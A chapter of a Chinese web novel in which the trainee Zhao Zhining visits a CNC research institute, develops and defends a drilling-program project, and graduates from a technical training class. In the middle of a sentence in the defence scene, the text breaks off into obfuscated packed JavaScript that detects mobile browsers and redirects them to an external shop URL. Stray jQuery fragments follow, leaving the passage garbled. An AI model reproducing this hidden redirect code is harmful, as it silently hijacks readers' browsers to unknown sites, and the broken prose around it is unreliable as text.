52. 第 52 章

作品:《退婚?我在八零卷哭全厂

    这半年多里,对沪城机械工业研究院第七研究所的大名,大家都听到耳朵起茧子了。


    这是目前国内研究数控系统和设计最前沿的研究所之一,是承载着国内数控技术希望的科研重地。学校那台花30万巨资买来的数控机床,就是由第七研究所成功仿制外国机床而来的。


    赵之凝只觉得心潮澎湃,他们即将见到的,是创造奇迹的地方。能够近距离接触这些攻坚克难的科研人员,本身就是一种激励。


    在公交车上,数控班的学生们都叽叽喳喳地讨论着,对接下来的参观充满了期待。


    李老师清了清嗓子,最后一次强调纪律:“都给我打起精神来!多看,多听,多记,少打听有的没的!也别跟刘姥姥进大观园似的,丢了咱们学校的脸!”


    “知道了,老师!”


    研究所的大门比想象中要朴素。经过严格登记,一位姓陈的研究员接待了他们。他与李老师年龄相仿,二人见面就很热情地打招呼,显然是相熟的朋友。


    考虑到这个班的成员并非研究型的大学生,而是强调实操性的技术工人,陈研究员干脆把他们带到了装配车间。


    赵之凝留意到,这里比学校的实习车间更加凌乱,到处都是各种线缆、仪器、半成品零件。车间中央是一台很大的数控机床,尽管看起来已经旧了,仍难掩其昔日的风采。


    “同学们,这就是我们仿制的第一代数控铣床原型机。”陈研究员介绍道,“也是国内少数能够稳定加工复杂零件的国产数控设备。”


    他仔细讲解着机床的结构特点、传动原理,以及他们在仿制过程中克服技术难关的故事,让学生们听得如痴如醉,不时发出惊叹。


    赵之凝凑到极近的地方,恨不得把每一个螺丝都看清楚。


    “老陈!老陈!你快过来看看!这里还是不对!”突然,一个焦虑的声音从车间一侧传来,打断了他们的参观。


    只见一个戴着厚厚眼镜的老工程师,正对着一台示波器上的波形图,眉头拧成了疙瘩。他手里还拿着一把草稿纸,着急地招呼着陈研究员过去。


    陈研究员脸上掠过一丝无奈,对学生们说了声“稍等”,便快步走了过去。


    过了一会儿,陈研究员才走回来,脸上原本那自信的神情,反而多了一丝沉重。


    他看着眼前这群充满求知欲的面孔,沉默了几秒,忍不住解释道:“刚刚那位是吴工,是我们所里负责数控系统核心算法攻关的骨干。大家刚才也看到了,我们面临的挑战,远不止造出一台能动的数控机床。”


    他引着大家走向旁边一个工作区,轻轻拍了拍其中一台控制器的外壳,“不瞒大家说,我们现在使用的这套数控系统,其核心基础,是两年前国家花费了大量外汇,从国外引进的技术。


    但当我们拿到手的时候,这项技术在国际上,已经很落后了。就在我们刚刚完成消化吸收,能够初步实现稳定运行的时候,别人新一代的系统已经推出了市场,性能又提升了一大截。”


    他的语气中带着深深的无奈:“我们花大价钱买来的,往往是人家快要淘汰或者已经过时的东西。等你辛辛苦苦跟上,人家又往前跑了一大截,这种被动追赶的滋味……不好受啊。”


    赵之凝看着陈研究员难掩低落的神色,看着吴工花白的头发和专注的背影,一种难以言喻的情绪在她心中涌动。


    他们已经走到了人生的后半段,或许终其一生,都无法看到自己的研究成果追赶上国际先进水平的那天。


    但他们不想低头,也不愿放弃,他们能多走一段路,后来人就能少走一段路。他们用行动默默守护的,是这个国家工业的火种,一如当年的她。


    李老师叹了口气,拍了拍陈研究员的肩膀,说道:“同学们,这条道路绝对不是一帆风顺的。他们在努力研究攻克数控技术,我们也要成长为熟练的数控技工,才能让数控机床真正发挥作用。”


    从研究所回来后,数控班的学生们有点不一样了,之前的浮躁和功利心消退了不少。


    毕业设计的课题布置下来,每个人都铆足了劲,想要交出一份不辜负这个时代的答卷。


    赵之凝选择的课题是针对箱体类零件高效钻孔的数控程序设计与通用模块开发,这个课题看似基础,却是工厂在转型数控初期容易碰到的问题。


    面对大批量、多规格的孔加工,编程繁琐,调整时间长,就需要一套相对灵活、参数可调的程序模块,减少重复编程工作量,提升加工效率和刀具寿命。


    李老师看到她的选题,挑了挑眉:“想清楚了?这个课题可不轻松,要考虑到很多方面,才能做出通用模块,搞不好就是四不像。”


    赵之凝点点头,眼神坚定:“老师,我觉得这个有用。”


    李老师说得没错,这个选题的挑战接踵而至。


    最初的方案,赵之凝试图用一个主程序调用多个子程序的方式,来实现不同孔径和深度的加工。但她很快发现,这样调用的效率低,还容易出错。


    她推翻了原有思路,抱着编程手册,一头扎了进去,逐字逐句地研究,反复试验,记录下每一个细节。


    那段日子,她几乎是宿舍、教室、食堂三点一线,脑子里满满的全是变量、参数、逻辑判断。


    有一次,她精心编写了大半的程序,却在模拟时发生了刀具轨迹偏离,虚拟的刀具一头撞上工件的夹具。


    赵之凝看着屏幕上那个红色的错误提示,沉默了几秒钟,然后深吸一口气,毫不犹豫地清空了程序,从头开始。她的侧脸在灯光下,显得异常冷静和坚定。


    李老师远远地看着,没有上前打扰。


    他知道,一块璞玉,需要经历打磨。


    直到答辩当天,赵之凝的方案已经迭代了不下十次。站在台上,她现场演示了如何通过修改几个简单的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053654|192171||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    变量赋值,就快速适配了一个新零件的图纸,完成了从钻孔到攻丝的加工。整个流程流畅、高效,设计的程序结构清晰,模拟工件完全符合要求。


    更让人眼前一亮的是,她还补充了一些加工工艺优化建议,里面总结了她试验过程中发现的、可以有效提升效率又保证质量的小技巧。比如,如何安排孔加工顺序来减少热变形影响、如何选择参数来改善深孔排屑等等。


    “好!”一向严苛的李老师,在点评时终于忍不住赞了一句,“这才是我们搞数控的人该有的样子!”


    他看着台上这个身姿挺拔,眼神清亮的女生,仿佛看到了当年那个在技术路上磕磕绊绊却永不认输的自己。


    不,她会比自己走得更快,更稳,也更远。


    台下响起了热烈的掌声。


    赵之凝微微鞠躬,松了口气,一切都结束了。


    *


    一年的时光飞逝,培训班迎来了尾声。


    关于文凭的事情,其实大家早已有心理准备。但最终只能拿到一张结业证明,而非国家承认的学历文凭时,大家的心情还是不免有些低落。


    “唉,就知道是这样……”谭胖子挠了挠头,看着手里那张红色的证明,叹气道,“回去跟厂里劳资科那帮人,又有得扯皮了。”


    另一个来自小厂的学生也无奈地附和道:“是啊,评职称、涨工资,肯定要看文凭的。”


    其实,林雪琴作为班长,之前已经代表大家去争取过,希望能发个文凭证明,但跟学校一番交涉后,上级政策如此,最终也只能接受这个结果。


    赵之凝看了看身旁有些泄气的林雪琴,又看了看手上写着“数控技术培训班”的结业证明,却觉得没有想象中那么难以接受。


    “没有文凭,可能回去是不太方便。”赵之凝安慰林雪琴说,“但咱们这一年,脑袋里装的,手上练的,可是实打实的东西。我们凭本事吃饭,走遍天下都不怕。”


    “没错!有手艺走遍天下!”谭胖子也反应过来,把证明往包里一揣,粗声说,“老子回去让他们瞧瞧,啥叫真正的数控!”


    “对!我现在是厂里唯一一个懂数控的了,我怕啥啊!”


    在互相的加油鼓劲中,大家又对未来重新充满了期待。


    离校前,阳光正好。


    数控班全体学生,连同李老师和几个授课老师,在学校教学楼前的台阶上,拍下了一张合影。


    照片里,每个人都穿着自己最体面的衣服,脸上洋溢着自信昂扬的笑容,充满了这个年代青年人特有的蓬勃朝气。


    赵之凝就站在同学们的正中央,一头齐耳短发,眼睛明亮有神。她的身后,“沪城第一工业技术学校”的牌子在阳光下熠熠生辉。


    这些承载着数控技术火种的青年们,就像蒲公英种子一样,即将被时代的春风吹向全国各地,落到大大小小的工厂里,生根,发芽,静待花开。